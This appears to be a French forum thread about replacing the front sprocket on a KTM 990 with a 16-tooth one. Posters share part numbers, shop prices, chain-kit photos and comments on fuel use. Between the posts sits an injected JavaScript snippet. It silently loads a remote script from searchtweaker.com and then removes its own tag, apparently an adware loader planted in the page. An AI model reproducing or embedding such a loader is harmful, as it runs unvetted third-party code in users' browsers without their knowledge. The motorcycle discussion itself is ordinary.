Discussions sur Tuto changement pignon de sortie de boite pour un PSB de 16 sur 990

http://www.kuttler.fr/811-roue-ar-990-smr-2012

pièce n°25 sur la photo!!!!

50304040100 : VIS M10X1,25X50 WS10

Sur le site Cross Roads:
ref: 50304040100 VIS M10X1,25X50 WS=10 2,21 €

Merci beaucoup, je serais toujours surpris de la réactivité et de l'efficacité de ce forum.....

Pour mon infos personnelle, pas de précaution particulière pour le démontage et changement de cette pièce ?

Et une chouette vidéo poster par gregorally:

https://www.ktmmania.net/t9205-video-remontage-facile-roue-arriere-et-reglage-de-la-chaine?highlight=vid%C3%A9o

Tony_60 a écrit:Merci beaucoup, je serais toujours surpris de la réactivité et de l'efficacité de ce forum.....

Pour mon infos personnelle, pas de précaution particulière pour le démontage et changement de cette pièce ?

gaffe de pas foirer le pas de vis! le bras oscillant c'est plus cher!!

Nickel, je suis passé chez Baïnes, ils l'avaient en stock à 2.21 €, je m'en sort bien

Montage PSB 16 ce matin et.....que du bonheur....trop drôle cette mob !
J'ai terminé tout ce que je pouvais faire en modifs avec mes petites mains et mon budget.
33 euros le PSB chez KTM....no comment...
Phil

Riton 18 a écrit:En voyant tous sa sa donne envie par contre, en cherchant sur le net je suis tomber sur ce site qui ne les vendes pas chère.... Bizarre   

http://www.motor-bikes.fr/pignon-afam-ktm-990-superduke-smt-smr-1190-rc8-2006-2011

Qui a des avis sur ce site ? et sur la qualité ?

Connais pas .

Ce samedi j'ai fait la révision des 21.000 et j'en ai profiter pour changer le kit chaine.
J'ai donc posé un pignon de 16 (que du bonheur, je me demande pourquoi je ne l'ai pas fait plutôt   )

Une couronne bi-colore
  

et une chaine noire et or


Par contre les maillons me semble un peu faibles par rapport à l'origine et j'ai un doute sur la résistance de la chaine


Vous en pensez quoi ?
Quelqu'un a déjà monter ce type de chaine ?

(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Mugatu a écrit:Bon ben si t'insiste...

Oui  

En fait je dirais surtout que la moto semble plus "cohérente" et que c'est le PSB de 17 qui semble être la modification.

toutes les motos aujourd hui sont développées une dent en moins et sont une dent en plus pour les normes eu.
toutes mes motos ont toujours eu droit a ce traitement.
je dis toujours mettre un psb -1 dent c est comme si ont t injeçte 15cv (au niveau du ressenti)
et un moteur plus disponible.....

et meme,j ai un copain qui malencontreusement,c est trouvé au milieu d une bagarre ,et il s est pris un pain et a perdu un chicot,bon,du coup il s est fait la malle rapidos.
et bin il me disait:
"avec une dent en moins,j'me tire beaucoup plus court...."

euh,je sors sans qu on me le demande.  ..si si...j ai pas pu m en empeché  

P'tite question :

sur la smt je suis tjrs en 17x41, vous commencer à me faire envie avec votre histoire de 16 dents !

Sur la Duke 690, le changement à déja été fait, je suis passé d'un 16 dents d'origine à un 15.... donc j'ai un 16 dents tout neuf....

Par hasard ça serai pas le même que pour la 990 (je viens de regarder sur le site KTm Méga service shop, c'est pas les même ref... mais c'est exactement le même prix.... d'ou question ...),

parce que alors dès demain matin, je vire le 17 et je place le 16 qui était sur la duke...

Si j'ai bien compris: ce changement pourra me permettre plus de souplesse et d'économie d'essence, vu que j'utilise ma SMT à 90% en ville (voyant reserve se déclenche aprés 130 km) ?

Pleassee, j'aurai besoin de vos lumières.

Non certainement pas d'économie d'essence mais de souplesse oui. Tu vas plus consommer avec un 16 qu'avec un 17 d'origine.

Aie....non.....nonn...!! j'en peux plus avec toutes ces augmentations de carburans au Maroc !!  
Sinon, dois-je monter un pignon KTM power parts ou juste n'importe lequel ?

Merci mrictdi

samisnow a écrit:Si j'ai bien compris: ce changement pourra me permettre plus de souplesse et d'économie d'essence, vu que j'utilise ma SMT à 90% en ville (voyant reserve se déclenche aprés 130 km) ?

Pleassee, j'aurai besoin de vos lumières.

  130 KM  et tu tombes en réserve ? y a un problème là. tu n'aurais pas un robinet fermé sur le réservoir par hasard ?